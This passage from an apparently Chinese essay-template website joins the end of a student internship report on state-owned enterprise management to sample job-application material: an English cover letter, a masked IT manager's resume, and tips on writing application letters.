理松弛,事业心不强,怕担责任;还有一部分国有企业管理人员不能适应市场经济的发展,不善于使用现代管理手段和方法,不懂得资本经营,尤其不熟悉国外市场。总体而言我国当前的国有企业管理人员整体上距离优秀企业家的水平还有不小的距离,从经营者角色向企业家角色的演进,需要我们继续深化干部选拔、任用制度,要实现人才培养模式由技能型向创新型的转变。
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(三)由于旧有观念和计划经济体制的长期影响,使我国国有企业管理缺乏民主、监督机制和规则。我国国有企业大多数职员要对分支机构、子公司领导负责,分支机构、子公司负责人则对总公司领导负责,因此一般职员无权参与公司重大事项的决策活动,一些重大决策主要由分支机构或子公司负责人决定或由他们报告总公司后决定,那么这些决策是否科学,是否符合公司经济利益等,一般职员无权发表意见也无法监督。其次,由于公司实行的是劳动合同制,职员的饭碗往往直接掌握在分支机构、子公司的负责人手中,所以一般职员对他们的任何所作所为不敢有任何非议,甚至发现其决策中的某些问题。
(四)经济全球化进程的加快,科学技术的进步和应用,使企业面临的市场竞争更加激烈,国有企业不得不面临外部环境的发生深刻变化所引发的问题。经济的日益全球化,市场开放程度的加强,世界统一市场的逐步形成,行业内垄断型的大企业集团形成,一些企业若跟不上技术进步的步伐就会被淘汰。科技的进步还对国有企业管理者形成强有力的挑战,技术与信息贸易的比重增大,劳动密集型产业所面临的日益加大的压力使我国劳动力费用低廉的优势逐步减弱,流通方式向更加现代化的方向演进,对社
会组织的领导结构和人员素质提出了更高的要求。这些问题都要求进行国有企业进行管理创新,通过创新,适应变化,迎接挑战! ? 二、前景
中国国有企业现阶段处于一个正在发展的阶段,可能它的许多方面都有问题,需要我们去解决,例如:它的机构并不那么完善;它的运作方式还存
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在很多弊端等等;但是我们应该对它有信心,我相信如果所有的国企都取其精华,去其糟柏。积极学习和整顿企业内部的问题,在不久的将来中国的国有企业一定可以克服目前所面临的困难,那么发展的前景一定也是乐观的。 ? 三、对策
近些年来国有企业的领导集团也意识到了这些问题,同时制定了相应的对策。
(一)国有企业面对日益严峻的外部生存发展环境,必须努力提高国企管理者的素质,建设高素质的国有企业经营管理者队伍。一个企业的兴衰,其领导起着关键作用。在某种意义上讲,国有企业经营者是企业的灵魂和核心。主要经营者的管理思想和管理能力直接关系到整个企业的管理风格的形成和管理水平的高低。因此说,建设高素质的国有企业经营管理者队伍,是国有企业改革和发展进程中的一项紧迫任务性。
(二)建立科学的决策体系、加强和完善监督机制建设,优化职工的民主参与企业管理的方式和途径。随着国内外市场竞争的加剧,市场形势瞬息万变,这越来越要求国有企业管理者扩大民主,下放决策权,但分权决策要取得较好效果,还要求企业员工有较强的责任心和自觉性,吸收一线职
工参与管理。
(三)建立一套完善的激励机制。国有企业必须改革传统的报酬体系,健全绩效考评制度,完善多重激励机制。建立起短期激励与长期激励相结合、精神激励与物质激励相结合的激励机制。目前,国企组织管理体制下的考核
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分配制度、激励措施不完善,员工的积极性、创造性没有最大限度地发挥出来。比如身份界限和收入差别就严重制约着技能操作人才的成长和重用;专业技术职务终身制不能有效激励专业技术人才,业绩和能力考核没有并重;中高级管理人员的考核、薪酬等制度仍在摸索、试行阶段。应当完善考核评价制度,促进人力资源价值的准确定位。
总结体会
在这次实践中,我再也不能像平时那样做事了,有时候还得看别人脸色办事,同时,还得考虑很多问题。 总的来说, 暑假实习是每个大学生必须拥有的一段经历,它使我们在实践中了解社会,让我们学到了很多在课堂上根本就学不到的知识,也打开了视野,增长知识,为我们以后进一步走向社会打下坚实的基础。这次实践也是我人生道路上的一次重要的历练。
为了方便大家阅读求职信范文,本站提供了《部门经理人英文求职信》范文,请参考;
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ms.maria mayor of your company has told me that your department needs a managerial assistant,and i want to apply for the position.i graduated from the university of business and economy last year.my major was human resource.i have some business experience that i believe qualifies me for the position..
i am really interested in learning business practices.i am a diligent worker and a fast learner.if given a chance,i am sure i can prove my worth in your company.
i am available during the weekdays in the morning for an interview.please find my resume enclosed.i look forward to hearing from you.
sincerely yours,
betty scavo
第4篇 部门经理-求职信模板
个人基本资料
姓名:
性别: 男
出生年月:1966.12
户籍:上海
地址:上海市辉河路43弄**号**室
电话:
邮编:xx37
工作经历
xx.10至今 上海**食品有限公司任电脑部经理.
报告对象:总经理,财务总监.下属6人
主要从事erp系统的上线,运行与维护,用户辅导,流程制定等工作,及相应的延伸程序的开发.保证公司网络系统的正常运行等.在此期间完成了erp(qad)系统的导入,erp(sap)系统的上线等主要工作,熟悉多种国外erp软件.对于国内快速消费品行业非常熟悉,对于行业特色,尤其是前端销售各种作业在公司系统中的综合反映等比较了解
1999.7—xx.8 工作于****电脑部.任电脑部经理.报告对象:总经理,下属3人。
从事电脑系统的运行维护工作。除了日常交易系统,novell,nt,sql server系统及客户端的维护外,帮助公司完成了notes系统的架设与最终用户的使用培训,编制了双向卫星运行监控系统,完成了网上证券交易系统的建立
1998.5—1999.7 工作于*******任电脑部经理
从事整个电脑系统的运行维护工作,包括前端的novell系统,后端的nt与sql server系统,solaris上的notes等系统的运行与维护,保证上述系统的正常运行及与总部的及时路由交换,除了日常的维护外,还担负了公司的电话交换系统的维护工作,包括线路与程控交换设定等
1996.4—1998.5 工作于******有限公司.任电脑主管
主要从事erp系统(4th_shift)的运行与维护工作,并作相应的延伸开发工作,同时负责维护公司内部网络系统的正常运行与用户的使用培训,制定相应的使用规范等工作,并对erp系统的财务,材料,生产,销售,库存,控制等工作有相当的了解。连续两年获公司表彰(优秀员工)
1992.8—1995.12 工作于********有限公司。任系统部经理
主要从事系统分析与系统集成工作,曾参与开发网络传真集中控制系统,
倚天中文系统行列输入法的开发,pos系统,小型进销存系统的开发。华西包装期货交易所网络系统集成,上海石油期货交易所重庆分公司网络集成等
1989.7—1992.8 工作于上海*********电算室.部门基层人员:
主要从事软件开发与硬件维护工作。包括工厂的mis系统的开发与维护,硬件设备,终端及线路的维护。并曾参与开发pc仿pdp-11终端等工作
教育经历
1985.9—1989.7 就读于*****工程学院,计算机与信息科学系,主修:计算机原理,操作系统,系统结构,数据结构,容错等课程,多次获奖学金与三好称号。
培训经历
1991.3-1991.4 系统分析培训(*****学院)
1992.3-1992.4 novell 3.10
1996.7 4th_shift (*****公司)
1998.5 novell 4.11 (*****公司)
1999.3 mcse xx(通过全部核心课程)
xx.10-xx.3 *****大学网络学院,计算机应用研究生课程学习,包括计算机网络,分布式操作系统,分布式数据库,网络安全,电子商务等
自我评价
本人工作一贯努力踏实,崇尚团队精神,敬业精神,有较好的人际关系,喜欢和善于合作,有很强的学习与适应能力,思维严谨,具有相当的技术水平和一定的管理经验
综合技术能力:
系统环境:
多年unix, sco unix,winxx server系列使用经验.对于lan/wan有很深的认识,同时对于网络设备cisco路由器, firewall(netscreen)有相当的了解.并能进行配置.对于,voip也有相当的认识.目前公司已经建立了全国范围的voip 与视频会议系统.数据库与开发
系统地参加了oracle dba的培训,对oracle数据库有相当的了解,erp(qad)系统就曾在solaris+oracle上运行至今.同时擅长用power builder + oracle进行开发。
asp+sql server的开发也有相当的了解
oa系统:
超过4年的domino的使用与维护经验共2页,当前第1页1
时光如电一般的飞驰,我们要开始准备求职找工作的事情了。在这个时候我们就需要写一封优秀的求职信,写好一封优秀的求职信是比较令人头痛的。那么一封优秀的求职信究竟该怎么写呢?下面是小编为大家整理的“如何写好令人满意的求职信”,仅供参考,欢迎大家阅读。
如何写好一封令人满意的求职信,整理了几点:
字迹整法,文字通顺
古人云:字如其人,文如其人。如果你的文章流利,字又写得漂亮,这首先从门面上就压倒其他竞争对手,并且能够把你的工作态度、精神状况、性格特征介绍给对方,加上你的求职条件,就会使你在众多的求职者中取胜。事实上,工整的字体使人心情舒畅,潦草的字迹令人生厌,这也是我们每个人都体验过的感觉。也正如在调查中某人才交流中心的负责人与我们交谈时所说:要处理的信件太多了,像字迹潦草的信我们一般都先丢在一边,待有空闲时再说。而实际求职过程中,遇到这种情况还算你幸运,要碰到一个严厉的负责人,他会连看也不看,就啪地一下扔进废纸篓。所以,为了达到你的求职目的,就应该将你的求职信书写工整,让人一目了然,赏心悦目。
简明扼要有条理
用简练的语言把你的求职想法以及个人特点表达出来,切忌堆砌词藻。因为求职信的读者大都是单位负责人,他们不会把很多时间浪费在阅读冗长的文章上。求职信不是你显示文学才华的地方,最好用平实、稳重的语气来写。有些大学毕业生,总想卖弄文采,想办法堆砌华丽时髦的词藻,结果弄巧成拙,使人反感。因此,写作求职倍要开门见山,简明扼要,切忌套话连篇,浮词满纸。求职信不在于长,而在于精,精在内容集中、明确、语言凝练明快、篇幅短小精悍上。
要有自信
先想好自我推销的计划再下笔。不论你是从报纸上看到的招聘广告,还是从亲友那里得来的信息,都要说明自己的立场,以便能让收信者印象深刻。写开场白之前一定要深思熟虑,如果气势不足,一开始自然就没有吸引力。应按写一则新闻导语或是拟广告词的态度来对待。
富有个性,不落俗套。
书写一封求职信,正如精心策划一则广告,不拘泥于通俗写法,立意新颖,以独特的语言及多元化的思考方式,给对方造成强烈的印象,引人注意,并挑起兴趣。一封求职信,无论内容多么完备,如果吸引不了对方的注意,则一切枉然;对方如果对你的陈述不感兴趣,则前功尽弃。
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